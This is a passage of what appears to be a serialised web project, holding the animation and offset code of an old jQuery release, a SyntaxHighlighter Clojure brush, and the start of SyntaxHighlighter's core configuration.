j < k; j++ ) {\n\t\t\t\tthis[j].style.display = \"none\";\n\t\t\t}\n\n\t\t\treturn this;\n\t\t}\n\t},\n\n\t// Save the old toggle function\n\t_toggle: jQuery.fn.toggle,\n\n\ttoggle: function( fn, fn2 ) {\n\t\tvar bool = typeof fn === \"boolean\";\n\n\t\tif ( jQuery.isFunction(fn) && jQuery.isFunction(fn2) ) {\n\t\t\tthis._toggle.apply( this, arguments );\n\n\t\t} else if ( fn == null || bool ) {\n\t\t\tthis.each(function() {\n\t\t\t\tvar state = bool ? fn : jQuery(this).is(\":hidden\");\n\t\t\t\tjQuery(this)[ state ? \"show\" : \"hide\" ]();\n\t\t\t});\n\n\t\t} else {\n\t\t\tthis.animate(genFx(\"toggle\", 3), fn, fn2);\n\t\t}\n\n\t\treturn this;\n\t},\n\n\tfadeTo: function( speed, to, callback ) {\n\t\treturn this.filter(\":hidden\").css(\"opacity\", 0).show().end()\n\t\t\t\t\t.animate({opacity: to}, speed, callback);\n\t},\n\n\tanimate: function( prop, speed, easing, callback ) {\n\t\tvar optall = jQuery.speed(speed, easing, callback);\n\n\t\tif ( jQuery.isEmptyObject( prop ) ) {\n\t\t\treturn this.each( optall.complete );\n\t\t}\n\n\t\treturn this[ optall.queue === false ? \"each\" : \"queue\" ](function() {\n\t\t\tvar opt = jQuery.extend({}, optall), p,\n\t\t\t\thidden = this.nodeType === 1 && jQuery(this).is(\":hidden\"),\n\t\t\t\tself = this;\n\n\t\t\tfor ( p in prop ) {\n\t\t\t\tvar name = p.replace(rdashAlpha, fcamelCase);\n\n\t\t\t\tif ( p !== name ) {\n\t\t\t\t\tprop[ name ] = prop[ p ];\n\t\t\t\t\tdelete prop[ p ];\n\t\t\t\t\tp = name;\n\t\t\t\t}\n\n\t\t\t\tif ( prop[p] === \"hide\" && hidden || prop[p] === \"show\" && !hidden ) {\n\t\t\t\t\treturn opt.complete.call(this);\n\t\t\t\t}\n\n\t\t\t\tif ( ( p === \"height\" || p === \"width\" ) && this.style ) {\n\t\t\t\t\t// Store display property\n\t\t\t\t\topt.display = jQuery.css(this, \"display\");\n\n\t\t\t\t\t// Make sure that nothing sneaks out\n\t\t\t\t\topt.overflow = this.style.overflow;\n\t\t\t\t}\n\n\t\t\t\tif ( jQuery.isArray( prop[p] ) ) {\n\t\t\t\t\t// Create (if needed) and add to specialEasing\n\t\t\t\t\t(opt.specialEasing = opt.specialEasing || {})[p] = prop[p][1];\n\t\t\t\t\tprop[p] = prop[p][0];\n\t\t\t\t}\n\t\t\t}\n\n\t\t\tif ( opt.overflow != null ) {\n\t\t\t\tthis.style.overflow = \"hidden\";\n\t\t\t}\n\n\t\t\topt.curAnim = jQuery.extend({}, prop);\n\n\t\t\tjQuery.each( prop, function( name, val ) {\n\t\t\t\tvar e = new jQuery.fx( self, opt, name );\n\n\t\t\t\tif ( rfxtypes.test(val) ) {\n\t\t\t\t\te[ val === \"toggle\" ? hidden ? \"show\" : \"hide\" : val ]( prop );\n\n\t\t\t\t} else {\n\t\t\t\t\tvar parts = rfxnum.exec(val),\n\t\t\t\t\t\tstart = e.cur(true) || 0;\n\n\t\t\t\t\tif ( parts ) {\n\t\t\t\t\t\tvar end = parseFloat( parts[2] ),\n\t\t\t\t\t\t\tunit = parts[3] || \"px\";\n\n\t\t\t\t\t\t// We need to compute starting value\n\t\t\t\t\t\tif ( unit !== \"px\" ) {\n\t\t\t\t\t\t\tself.style[ name ] = (end || 1) + unit;\n\t\t\t\t\t\t\tstart = ((end || 1) / e.cur(true)) * start;\n\t\t\t\t\t\t\tself.style[ name ] = start + unit;\n\t\t\t\t\t\t}\n\n\t\t\t\t\t\t// If a +=/-= token was provided, we're doing a relative animation\n\t\t\t\t\t\tif ( parts[1] ) {\n\t\t\t\t\t\t\tend = ((parts[1] === \"-=\" ? -1 : 1) * end) + start;\n\t\t\t\t\t\t}\n\n\t\t\t\t\t\te.custom( start, end, unit );\n\n\t\t\t\t\t} else {\n\t\t\t\t\t\te.custom( start, val, \"\" );\n\t\t\t\t\t}\n\t\t\t\t}\n\t\t\t});\n\n\t\t\t// For JS strict compliance\n\t\t\treturn true;\n\t\t});\n\t},\n\n\tstop: function( clearQueue, gotoEnd ) {\n\t\tvar timers = jQuery.timers;\n\n\t\tif ( clearQueue ) {\n\t\t\tthis.queue([]);\n\t\t}\n\n\t\tthis.each(function() {\n\t\t\t// go in reverse order so anything added to the queue during the loop is ignored\n\t\t\tfor ( var i = timers.length - 1; i >= 0; i-- ) {\n\t\t\t\tif ( timers[i].elem === this ) {\n\t\t\t\t\tif (gotoEnd) {\n\t\t\t\t\t\t// force the next step to be the last\n\t\t\t\t\t\ttimers[i](true);\n\t\t\t\t\t}\n\n\t\t\t\t\ttimers.splice(i, 1);\n\t\t\t\t}\n\t\t\t}\n\t\t});\n\n\t\t// start the next in the queue if the last step wasn't forced\n\t\tif ( !gotoEnd ) {\n\t\t\tthis.dequeue();\n\t\t}\n\n\t\treturn this;\n\t}\n\n});\n\n// Generate shortcuts for custom animations\njQuery.each({\n\tslideDown: genFx(\"show\", 1),\n\tslideUp: genFx(\"hide\", 1),\n\tslideToggle: genFx(\"toggle\", 1),\n\tfadeIn: { opacity: \"show\" },\n\tfadeOut: { opacity: \"hide\" }\n}, function( name, props ) {\n\tjQuery.fn[ name ] = function( speed, callback ) {\n\t\treturn this.animate( props, speed, callback );\n\t};\n});\n\njQuery.extend({\n\tspeed: function( speed, easing, fn ) {\n\t\tvar opt = speed && typeof speed === \"object\" ? speed : {\n\t\t\tcomplete: fn || !fn && easing ||\n\t\t\t\tjQuery.isFunction( speed ) && speed,\n\t\t\tduration: speed,\n\t\t\teasing: fn && easing || easing && !jQuery.isFunction(easing) && easing\n\t\t};\n\n\t\topt.duration = jQuery.fx.off ? 0 : typeof opt.duration === \"number\" ? opt.duration :\n\t\t\tjQuery.fx.speeds[opt.duration] || jQuery.fx.speeds._default;\n\n\t\t// Queueing\n\t\topt.old = opt.complete;\n\t\topt.complete = function() {\n\t\t\tif ( opt.queue !== false ) {\n\t\t\t\tjQuery(this).dequeue();\n\t\t\t}\n\t\t\tif ( jQuery.isFunction( opt.old ) ) {\n\t\t\t\topt.old.call( this );\n\t\t\t}\n\t\t};\n\n\t\treturn opt;\n\t},\n\n\teasing: {\n\t\tlinear: function( p, n, firstNum, diff ) {\n\t\t\treturn firstNum + diff * p;\n\t\t},\n\t\tswing: function( p, n, firstNum, diff ) {\n\t\t\treturn ((-Math.cos(p*Math.PI)/2) + 0.5) * diff + firstNum;\n\t\t}\n\t},\n\n\ttimers: [],\n\n\tfx: function( elem, options, prop ) {\n\t\tthis.options = options;\n\t\tthis.elem = elem;\n\t\tthis.prop = prop;\n\n\t\tif ( !options.orig ) {\n\t\t\toptions.orig = {};\n\t\t}\n\t}\n\n});\n\njQuery.fx.prototype = {\n\t// Simple function for setting a style value\n\tupdate: function() {\n\t\tif ( this.options.step ) {\n\t\t\tthis.options.step.call( this.elem, this.now, this );\n\t\t}\n\n\t\t(jQuery.fx.step[this.prop] || jQuery.fx.step._default)( this );\n\n\t\t// Set display property to block for height/width animations\n\t\tif ( ( this.prop === \"height\" || this.prop === \"width\" ) && this.elem.style ) {\n\t\t\tthis.elem.style.display = \"block\";\n\t\t}\n\t},\n\n\t// Get the current size\n\tcur: function( force ) {\n\t\tif ( this.elem[this.prop] != null && (!this.elem.style || this.elem.style[this.prop] == null) ) {\n\t\t\treturn this.elem[ this.prop ];\n\t\t}\n\n\t\tvar r = parseFloat(jQuery.css(this.elem, this.prop, force));\n\t\treturn r && r > -10000 ? r : parseFloat(jQuery.curCSS(this.elem, this.prop)) || 0;\n\t},\n\n\t// Start an animation from one number to another\n\tcustom: function( from, to, unit ) {\n\t\tthis.startTime = now();\n\t\tthis.start = from;\n\t\tthis.end = to;\n\t\tthis.unit = unit || this.unit || \"px\";\n\t\tthis.now = this.start;\n\t\tthis.pos = this.state = 0;\n\n\t\tvar self = this;\n\t\tfunction t( gotoEnd ) {\n\t\t\treturn self.step(gotoEnd);\n\t\t}\n\n\t\tt.elem = this.elem;\n\n\t\tif ( t() && jQuery.timers.push(t) && !timerId ) {\n\t\t\ttimerId = setInterval(jQuery.fx.tick, 13);\n\t\t}\n\t},\n\n\t// Simple 'show' function\n\tshow: function() {\n\t\t// Remember where we started, so that we can go back to it later\n\t\tthis.options.orig[this.prop] = jQuery.style( this.elem, this.prop );\n\t\tthis.options.show = true;\n\n\t\t// Begin the animation\n\t\t// Make sure that we start at a small width/height to avoid any\n\t\t// flash of content\n\t\tthis.custom(this.prop === \"width\" || this.prop === \"height\" ? 1 : 0, this.cur());\n\n\t\t// Start by showing the element\n\t\tjQuery( this.elem ).show();\n\t},\n\n\t// Simple 'hide' function\n\thide: function() {\n\t\t// Remember where we started, so that we can go back to it later\n\t\tthis.options.orig[this.prop] = jQuery.style( this.elem, this.prop );\n\t\tthis.options.hide = true;\n\n\t\t// Begin the animation\n\t\tthis.custom(this.cur(), 0);\n\t},\n\n\t// Each step of an animation\n\tstep: function( gotoEnd ) {\n\t\tvar t = now(), done = true;\n\n\t\tif ( gotoEnd || t >= this.options.duration + this.startTime ) {\n\t\t\tthis.now = this.end;\n\t\t\tthis.pos = this.state = 1;\n\t\t\tthis.update();\n\n\t\t\tthis.options.curAnim[ this.prop ] = true;\n\n\t\t\tfor ( var i in this.options.curAnim ) {\n\t\t\t\tif ( this.options.curAnim[i] !== true ) {\n\t\t\t\t\tdone = false;\n\t\t\t\t}\n\t\t\t}\n\n\t\t\tif ( done ) {\n\t\t\t\tif ( this.options.display != null ) {\n\t\t\t\t\t// Reset the overflow\n\t\t\t\t\tthis.elem.style.overflow = this.options.overflow;\n\n\t\t\t\t\t// Reset the display\n\t\t\t\t\tvar old = jQuery.data(this.elem, \"olddisplay\");\n\t\t\t\t\tthis.elem.style.display = old ? old : this.options.display;\n\n\t\t\t\t\tif ( jQuery.css(this.elem, \"display\") === \"none\" ) {\n\t\t\t\t\t\tthis.elem.style.display = \"block\";\n\t\t\t\t\t}\n\t\t\t\t}\n\n\t\t\t\t// Hide the element if the \"hide\" operation was done\n\t\t\t\tif ( this.options.hide ) {\n\t\t\t\t\tjQuery(this.elem).hide();\n\t\t\t\t}\n\n\t\t\t\t// Reset the properties, if the item has been hidden or shown\n\t\t\t\tif ( this.options.hide || this.options.show ) {\n\t\t\t\t\tfor ( var p in this.options.curAnim ) {\n\t\t\t\t\t\tjQuery.style(this.elem, p, this.options.orig[p]);\n\t\t\t\t\t}\n\t\t\t\t}\n\n\t\t\t\t// Execute the complete function\n\t\t\t\tthis.options.complete.call( this.elem );\n\t\t\t}\n\n\t\t\treturn false;\n\n\t\t} else {\n\t\t\tvar n = t - this.startTime;\n\t\t\tthis.state = n / this.options.duration;\n\n\t\t\t// Perform the easing function, defaults to swing\n\t\t\tvar specialEasing = this.options.specialEasing && this.options.specialEasing[this.prop];\n\t\t\tvar defaultEasing = this.options.easing || (jQuery.easing.swing ? \"swing\" : \"linear\");\n\t\t\tthis.pos = jQuery.easing[specialEasing || defaultEasing](this.state, n, 0, 1, this.options.duration);\n\t\t\tthis.now = this.start + ((this.end - this.start) * this.pos);\n\n\t\t\t// Perform the next step of the animation\n\t\t\tthis.update();\n\t\t}\n\n\t\treturn true;\n\t}\n};\n\njQuery.extend( jQuery.fx, {\n\ttick: function() {\n\t\tvar timers = jQuery.timers;\n\n\t\tfor ( var i = 0; i < timers.length; i++ ) {\n\t\t\tif ( !timers[i]() ) {\n\t\t\t\ttimers.splice(i--, 1);\n\t\t\t}\n\t\t}\n\n\t\tif ( !timers.length ) {\n\t\t\tjQuery.fx.stop();\n\t\t}\n\t},\n\n\tstop: function() {\n\t\tclearInterval( timerId );\n\t\ttimerId = null;\n\t},\n\n\tspeeds: {\n\t\tslow: 600,\n \t\tfast: 200,\n \t\t// Default speed\n \t\t_default: 400\n\t},\n\n\tstep: {\n\t\topacity: function( fx ) {\n\t\t\tjQuery.style(fx.elem, \"opacity\", fx.now);\n\t\t},\n\n\t\t_default: function( fx ) {\n\t\t\tif ( fx.elem.style && fx.elem.style[ fx.prop ] != null ) {\n\t\t\t\tfx.elem.style[ fx.prop ] = (fx.prop === \"width\" || fx.prop === \"height\" ? Math.max(0, fx.now) : fx.now) + fx.unit;\n\t\t\t} else {\n\t\t\t\tfx.elem[ fx.prop ] = fx.now;\n\t\t\t}\n\t\t}\n\t}\n});\n\nif ( jQuery.expr && jQuery.expr.filters ) {\n\tjQuery.expr.filters.animated = function( elem ) {\n\t\treturn jQuery.grep(jQuery.timers, function( fn ) {\n\t\t\treturn elem === fn.elem;\n\t\t}).length;\n\t};\n}\n\nfunction genFx( type, num ) {\n\tvar obj = {};\n\n\tjQuery.each( fxAttrs.concat.apply([], fxAttrs.slice(0,num)), function() {\n\t\tobj[ this ] = type;\n\t});\n\n\treturn obj;\n}\nif ( \"getBoundingClientRect\" in document.documentElement ) {\n\tjQuery.fn.offset = function( options ) {\n\t\tvar elem = this[0];\n\n\t\tif ( options ) {\n\t\t\treturn this.each(function( i ) {\n\t\t\t\tjQuery.offset.setOffset( this, options, i );\n\t\t\t});\n\t\t}\n\n\t\tif ( !elem || !elem.ownerDocument ) {\n\t\t\treturn null;\n\t\t}\n\n\t\tif ( elem === elem.ownerDocument.body ) {\n\t\t\treturn jQuery.offset.bodyOffset( elem );\n\t\t}\n\n\t\tvar box = elem.getBoundingClientRect(), doc = elem.ownerDocument, body = doc.body, docElem = doc.documentElement,\n\t\t\tclientTop = docElem.clientTop || body.clientTop || 0, clientLeft = docElem.clientLeft || body.clientLeft || 0,\n\t\t\ttop  = box.top  + (self.pageYOffset || jQuery.support.boxModel && docElem.scrollTop  || body.scrollTop ) - clientTop,\n\t\t\tleft = box.left + (self.pageXOffset || jQuery.support.boxModel && docElem.scrollLeft || body.scrollLeft) - clientLeft;\n\n\t\treturn { top: top, left: left };\n\t};\n\n} else {\n\tjQuery.fn.offset = function( options ) {\n\t\tvar elem = this[0];\n\n\t\tif ( options ) {\n\t\t\treturn this.each(function( i ) {\n\t\t\t\tjQuery.offset.setOffset( this, options, i );\n\t\t\t});\n\t\t}\n\n\t\tif ( !elem || !elem.ownerDocument ) {\n\t\t\treturn null;\n\t\t}\n\n\t\tif ( elem === elem.ownerDocument.body ) {\n\t\t\treturn jQuery.offset.bodyOffset( elem );\n\t\t}\n\n\t\tjQuery.offset.initialize();\n\n\t\tvar offsetParent = elem.offsetParent, prevOffsetParent = elem,\n\t\t\tdoc = elem.ownerDocument, computedStyle, docElem = doc.documentElement,\n\t\t\tbody = doc.body, defaultView = doc.defaultView,\n\t\t\tprevComputedStyle = defaultView ? defaultView.getComputedStyle( elem, null ) : elem.currentStyle,\n\t\t\ttop = elem.offsetTop, left = elem.offsetLeft;\n\n\t\twhile ( (elem = elem.parentNode) && elem !== body && elem !== docElem ) {\n\t\t\tif ( jQuery.offset.supportsFixedPosition && prevComputedStyle.position === \"fixed\" ) {\n\t\t\t\tbreak;\n\t\t\t}\n\n\t\t\tcomputedStyle = defaultView ? defaultView.getComputedStyle(elem, null) : elem.currentStyle;\n\t\t\ttop  -= elem.scrollTop;\n\t\t\tleft -= elem.scrollLeft;\n\n\t\t\tif ( elem === offsetParent ) {\n\t\t\t\ttop  += elem.offsetTop;\n\t\t\t\tleft += elem.offsetLeft;\n\n\t\t\t\tif ( jQuery.offset.doesNotAddBorder && !(jQuery.offset.doesAddBorderForTableAndCells && /^t(able|d|h)$/i.test(elem.nodeName)) ) {\n\t\t\t\t\ttop  += parseFloat( computedStyle.borderTopWidth  ) || 0;\n\t\t\t\t\tleft += parseFloat( computedStyle.borderLeftWidth ) || 0;\n\t\t\t\t}\n\n\t\t\t\tprevOffsetParent = offsetParent, offsetParent = elem.offsetParent;\n\t\t\t}\n\n\t\t\tif ( jQuery.offset.subtractsBorderForOverflowNotVisible && computedStyle.overflow !== \"visible\" ) {\n\t\t\t\ttop  += parseFloat( computedStyle.borderTopWidth  ) || 0;\n\t\t\t\tleft += parseFloat( computedStyle.borderLeftWidth ) || 0;\n\t\t\t}\n\n\t\t\tprevComputedStyle = computedStyle;\n\t\t}\n\n\t\tif ( prevComputedStyle.position === \"relative\" || prevComputedStyle.position === \"static\" ) {\n\t\t\ttop  += body.offsetTop;\n\t\t\tleft += body.offsetLeft;\n\t\t}\n\n\t\tif ( jQuery.offset.supportsFixedPosition && prevComputedStyle.position === \"fixed\" ) {\n\t\t\ttop  += Math.max( docElem.scrollTop, body.scrollTop );\n\t\t\tleft += Math.max( docElem.scrollLeft, body.scrollLeft );\n\t\t}\n\n\t\treturn { top: top, left: left };\n\t};\n}\n\njQuery.offset = {\n\tinitialize: function() {\n\t\tvar body = document.body, container = document.createElement(\"div\"), innerDiv, checkDiv, table, td, bodyMarginTop = parseFloat( jQuery.curCSS(body, \"marginTop\", true) ) || 0,\n\t\t\thtml = \"<div style='position:absolute;top:0;left:0;margin:0;border:5px solid #000;padding:0;width:1px;height:1px;'><div></div></div><table style='position:absolute;top:0;left:0;margin:0;border:5px solid #000;padding:0;width:1px;height:1px;' cellpadding='0' cellspacing='0'><tr><td></td></tr></table>\";\n\n\t\tjQuery.extend( container.style, { position: \"absolute\", top: 0, left: 0, margin: 0, border: 0, width: \"1px\", height: \"1px\", visibility: \"hidden\" } );\n\n\t\tcontainer.innerHTML = html;\n\t\tbody.insertBefore( container, body.firstChild );\n\t\tinnerDiv = container.firstChild;\n\t\tcheckDiv = innerDiv.firstChild;\n\t\ttd = innerDiv.nextSibling.firstChild.firstChild;\n\n\t\tthis.doesNotAddBorder = (checkDiv.offsetTop !== 5);\n\t\tthis.doesAddBorderForTableAndCells = (td.offsetTop === 5);\n\n\t\tcheckDiv.style.position = \"fixed\", checkDiv.style.top = \"20px\";\n\t\t// safari subtracts parent border width here which is 5px\n\t\tthis.supportsFixedPosition = (checkDiv.offsetTop === 20 || checkDiv.offsetTop === 15);\n\t\tcheckDiv.style.position = checkDiv.style.top = \"\";\n\n\t\tinnerDiv.style.overflow = \"hidden\", innerDiv.style.position = \"relative\";\n\t\tthis.subtractsBorderForOverflowNotVisible = (checkDiv.offsetTop === -5);\n\n\t\tthis.doesNotIncludeMarginInBodyOffset = (body.offsetTop !== bodyMarginTop);\n\n\t\tbody.removeChild( container );\n\t\tbody = container = innerDiv = checkDiv = table = td = null;\n\t\tjQuery.offset.initialize = jQuery.noop;\n\t},\n\n\tbodyOffset: function( body ) {\n\t\tvar top = body.offsetTop, left = body.offsetLeft;\n\n\t\tjQuery.offset.initialize();\n\n\t\tif ( jQuery.offset.doesNotIncludeMarginInBodyOffset ) {\n\t\t\ttop  += parseFloat( jQuery.curCSS(body, \"marginTop\",  true) ) || 0;\n\t\t\tleft += parseFloat( jQuery.curCSS(body, \"marginLeft\", true) ) || 0;\n\t\t}\n\n\t\treturn { top: top, left: left };\n\t},\n\n\tsetOffset: function( elem, options, i ) {\n\t\t// set position first, in-case top/left are set even on static elem\n\t\tif ( /static/.test( jQuery.curCSS( elem, \"position\" ) ) ) {\n\t\t\telem.style.position = \"relative\";\n\t\t}\n\t\tvar curElem   = jQuery( elem ),\n\t\t\tcurOffset = curElem.offset(),\n\t\t\tcurTop    = parseInt( jQuery.curCSS( elem, \"top\",  true ), 10 ) || 0,\n\t\t\tcurLeft   = parseInt( jQuery.curCSS( elem, \"left\", true ), 10 ) || 0;\n\n\t\tif ( jQuery.isFunction( options ) ) {\n\t\t\toptions = options.call( elem, i, curOffset );\n\t\t}\n\n\t\tvar props = {\n\t\t\ttop:  (options.top  - curOffset.top)  + curTop,\n\t\t\tleft: (options.left - curOffset.left) + curLeft\n\t\t};\n\n\t\tif ( \"using\" in options ) {\n\t\t\toptions.using.call( elem, props );\n\t\t} else {\n\t\t\tcurElem.css( props );\n\t\t}\n\t}\n};\n\n\njQuery.fn.extend({\n\tposition: function() {\n\t\tif ( !this[0] ) {\n\t\t\treturn null;\n\t\t}\n\n\t\tvar elem = this[0],\n\n\t\t// Get *real* offsetParent\n\t\toffsetParent = this.offsetParent(),\n\n\t\t// Get correct offsets\n\t\toffset       = this.offset(),\n\t\tparentOffset = /^body|html$/i.test(offsetParent[0].nodeName) ? { top: 0, left: 0 } : offsetParent.offset();\n\n\t\t// Subtract element margins\n\t\t// note: when an element has margin: auto the offsetLeft and marginLeft\n\t\t// are the same in Safari causing offset.left to incorrectly be 0\n\t\toffset.top  -= parseFloat( jQuery.curCSS(elem, \"marginTop\",  true) ) || 0;\n\t\toffset.left -= parseFloat( jQuery.curCSS(elem, \"marginLeft\", true) ) || 0;\n\n\t\t// Add offsetParent borders\n\t\tparentOffset.top  += parseFloat( jQuery.curCSS(offsetParent[0], \"borderTopWidth\",  true) ) || 0;\n\t\tparentOffset.left += parseFloat( jQuery.curCSS(offsetParent[0], \"borderLeftWidth\", true) ) || 0;\n\n\t\t// Subtract the two offsets\n\t\treturn {\n\t\t\ttop:  offset.top  - parentOffset.top,\n\t\t\tleft: offset.left - parentOffset.left\n\t\t};\n\t},\n\n\toffsetParent: function() {\n\t\treturn this.map(function() {\n\t\t\tvar offsetParent = this.offsetParent || document.body;\n\t\t\twhile ( offsetParent && (!/^body|html$/i.test(offsetParent.nodeName) && jQuery.css(offsetParent, \"position\") === \"static\") ) {\n\t\t\t\toffsetParent = offsetParent.offsetParent;\n\t\t\t}\n\t\t\treturn offsetParent;\n\t\t});\n\t}\n});\n\n\n// Create scrollLeft and scrollTop methods\njQuery.each( [\"Left\", \"Top\"], function( i, name ) {\n\tvar method = \"scroll\" + name;\n\n\tjQuery.fn[ method ] = function(val) {\n\t\tvar elem = this[0], win;\n\n\t\tif ( !elem ) {\n\t\t\treturn null;\n\t\t}\n\n\t\tif ( val !== undefined ) {\n\t\t\t// Set the scroll offset\n\t\t\treturn this.each(function() {\n\t\t\t\twin = getWindow( this );\n\n\t\t\t\tif ( win ) {\n\t\t\t\t\twin.scrollTo(\n\t\t\t\t\t\t!i ? val : jQuery(win).scrollLeft(),\n\t\t\t\t\t\t i ? val : jQuery(win).scrollTop()\n\t\t\t\t\t);\n\n\t\t\t\t} else {\n\t\t\t\t\tthis[ method ] = val;\n\t\t\t\t}\n\t\t\t});\n\t\t} else {\n\t\t\twin = getWindow( elem );\n\n\t\t\t// Return the scroll offset\n\t\t\treturn win ? (\"pageXOffset\" in win) ? win[ i ? \"pageYOffset\" : \"pageXOffset\" ] :\n\t\t\t\tjQuery.support.boxModel && win.document.documentElement[ method ] ||\n\t\t\t\t\twin.document.body[ method ] :\n\t\t\t\telem[ method ];\n\t\t}\n\t};\n});\n\nfunction getWindow( elem ) {\n\treturn (\"scrollTo\" in elem && elem.document) ?\n\t\telem :\n\t\telem.nodeType === 9 ?\n\t\t\telem.defaultView || elem.parentWindow :\n\t\t\tfalse;\n}\n// Create innerHeight, innerWidth, outerHeight and outerWidth methods\njQuery.each([ \"Height\", \"Width\" ], function( i, name ) {\n\n\tvar type = name.toLowerCase();\n\n\t// innerHeight and innerWidth\n\tjQuery.fn[\"inner\" + name] = function() {\n\t\treturn this[0] ?\n\t\t\tjQuery.css( this[0], type, false, \"padding\" ) :\n\t\t\tnull;\n\t};\n\n\t// outerHeight and outerWidth\n\tjQuery.fn[\"outer\" + name] = function( margin ) {\n\t\treturn this[0] ?\n\t\t\tjQuery.css( this[0], type, false, margin ? \"margin\" : \"border\" ) :\n\t\t\tnull;\n\t};\n\n\tjQuery.fn[ type ] = function( size ) {\n\t\t// Get window width or height\n\t\tvar elem = this[0];\n\t\tif ( !elem ) {\n\t\t\treturn size == null ? null : this;\n\t\t}\n\n\t\tif ( jQuery.isFunction( size ) ) {\n\t\t\treturn this.each(function( i ) {\n\t\t\t\tvar self = jQuery( this );\n\t\t\t\tself[ type ]( size.call( this, i, self[ type ]() ) );\n\t\t\t});\n\t\t}\n\n\t\treturn (\"scrollTo\" in elem && elem.document) ? // does it walk and quack like a window?\n\t\t\t// Everyone else use document.documentElement or document.body depending on Quirks vs Standards mode\n\t\t\telem.document.compatMode === \"CSS1Compat\" && elem.document.documentElement[ \"client\" + name ] ||\n\t\t\telem.document.body[ \"client\" + name ] :\n\n\t\t\t// Get document width or height\n\t\t\t(elem.nodeType === 9) ? // is it a document\n\t\t\t\t// Either scroll[Width/Height] or offset[Width/Height], whichever is greater\n\t\t\t\tMath.max(\n\t\t\t\t\telem.documentElement[\"client\" + name],\n\t\t\t\t\telem.body[\"scroll\" + name], elem.documentElement[\"scroll\" + name],\n\t\t\t\t\telem.body[\"offset\" + name], elem.documentElement[\"offset\" + name]\n\t\t\t\t) :\n\n\t\t\t\t// Get or set width or height on the element\n\t\t\t\tsize === undefined ?\n\t\t\t\t\t// Get width or height on the element\n\t\t\t\t\tjQuery.css( elem, type ) :\n\n\t\t\t\t\t// Set the width or height on the element (default to pixels if value is unitless)\n\t\t\t\t\tthis.css( type, typeof size === \"string\" ? size : size + \"px\" );\n\t};\n\n});\n// Expose jQuery to the global object\nwindow.jQuery = window.$ = jQuery;\n\n})(window);\n", "public/javascripts/shBrushClojure.js": "SyntaxHighlighter.brushes.Clojure = function()\n{\n        // Contributed by Travis Whitton\n\n        var funcs = ':arglists :doc :file :line :macro :name :ns :private :tag :test new alias alter ' +\n                    'and apply assert class cond conj count def defmacro defn defstruct deref do '     +\n                    'doall dorun doseq dosync eval filter finally find first fn gen-class gensym if '  +\n                    'import inc keys let list loop map ns or print println quote rand recur reduce '   +\n                    'ref repeat require rest send seq set sort str struct sync take test throw '       +\n                    'trampoline try type use var vec when while';\n\n        this.regexList = [\n                { regex: new RegExp(';[^\\]]+$', 'gm'),                           css: 'comments' },\n\t\t{ regex: SyntaxHighlighter.regexLib.multiLineDoubleQuotedString, css: 'string' },\n                { regex: /\\[|\\]/g,                                               css: 'keyword' },\n\t\t{ regex: /'[a-z][A-Za-z0-9_]*/g,                                 css: 'color1' }, // symbols\n\t\t{ regex: /:[a-z][A-Za-z0-9_]*/g,                                 css: 'color2' }, // keywords\n\t\t{ regex: new RegExp(this.getKeywords(funcs), 'gmi'),             css: 'functions' }\n            ];\n\n\tthis.forHtmlScript(SyntaxHighlighter.regexLib.aspScriptTags);\n}\n\nSyntaxHighlighter.brushes.Clojure.prototype     = new SyntaxHighlighter.Highlighter();\nSyntaxHighlighter.brushes.Clojure.aliases       = ['clojure', 'Clojure', 'clj'];\n", "public/javascripts/shCore.js": "//\n// Begin anonymous function. This is used to contain local scope variables without polutting global scope.\n//\nif (!window.SyntaxHighlighter) var SyntaxHighlighter = function() {\n\n// Shortcut object which will be assigned to the SyntaxHighlighter variable.\n// This is a shorthand for local reference in order to avoid long namespace\n// references to SyntaxHighlighter.whatever...\nvar sh = {\n\tdefaults : {\n\t\t/** Additional CSS class names to be added to highlighter elements. */\n\t\t'class-name' : '',\n\n\t\t/** First line number. */\n\t\t'first-line' : 1,\n\n\t\t/**\n\t\t * Pads line numbers. Possible values are:\n\t\t *\n\t\t *   false - don't pad line numbers.\n\t\t *   true  - automaticaly pad numbers with minimum required number of leading zeroes.\n\t\t *   [int] - length up to which pad line numbers.\n\t\t */\n\t\t'pad-line-numbers' : true,\n\n\t\t/** Lines to highlight. */\n\t\t'highlight' : null,\n\n\t\t/** Enables or disables smart tabs. */\n\t\t'smart-tabs' : true,\n\n\t\t/** Gets or sets tab size. */\n\t\t'tab-size' : 4,\n\n\t\t/** Enables or disables gutter. */\n\t\t'gutter' : true,\n\n\t\t/** Enables or disables toolbar. */\n\t\t'toolbar' : true,\n\n\t\t/** Forces code view to be collapsed. */\n\t\t'collapse' : false,\n\n\t\t/** Enables or disables automatic links. */\n\t\t'auto-links' : true,\n\n\t\t/** Gets or sets light mode. Equavalent to turning off gutter and toolbar. */\n\t\t'light' : false,\n\n\t\t/** Enables or disables automatic line wrapping. */\n\t\t'wrap-lines' : true,\n\n\t\t'html-script' : false\n\t},\n\n\tconfig : {\n\t\t/** Enables use of <SCRIPT type=\"syntaxhighlighter\" /> tags. */\n\t\tuseScriptTags : true,\n\n\t\t/** Path to the copy to clipboard SWF file. */\n\t\tclipboardSwf : null,\n\n\t\t/** Width of an item in the toolbar. */\n\t\ttoolbarItemWidth : 16,\n\n\t\t/** Height of an item in the toolbar. */\n\t\ttoolbarItemHeight : 16,\n\n\t\t/** Blogger mode flag. */\n\t\tbloggerMode : false,\n\n\t\tstripBrs : false,\n\n\t\t/** Name of the tag that SyntaxHighlighter will automatically look for. */\n\t\ttagName : 'pre',\n\n\t\tstrings : {\n\t\t\texpandSource : 'show source',\n\t\t\tviewSource : 'view source',\n\t\t\tcopyToClipboard : 'copy to clipboard',\n\t\t\tcopyToClipboardConfirmation : 'The code is in your clipboard now',\n\t\t\tprint : 'print',\n\t\t\thelp : '?',\n\t\t\talert: 'SyntaxHighlighter\\n\\n',\n\t\t\tnoBrush : 'Can\\'t find brush for: ',\n\t\t\tbrushNotHtmlScript : 'Brush wasn\\'t configured for html-script option: ',\n\n\t\t\t// this is populated by the build script\n\t\t\taboutDialog : '@ABOUT@'\n\t\t},\n\n\t\t/** If true, output will show HTML produces instead. */\n\t\tdebug : false\n\t},\n\n\t/** Internal 'global' variables. */\n\tvars : {\n\t\tdiscoveredBrushes : null,\n\t\tspaceWidth : null,\n\t\tprintFrame : null,\n\t\thighlighters : {}\n\t},\n\n\t/** This object is populated by user included external brush files. */\n\tbrushes : {},\n\n\t/** Common regular expressions. */\n\tregexLib : {\n\t\tmultiLineCComments\t\t\t: /\\/\\*[\\s\\S]*?\\*\\//gm,\n\t\tsingleLineCComments\t\t\t: /\\/\\/.*$/gm,\n\t\tsingleLinePerlComments\t\t: /#.*$/gm,\n\t\tdoubleQuotedString\t\t\t: 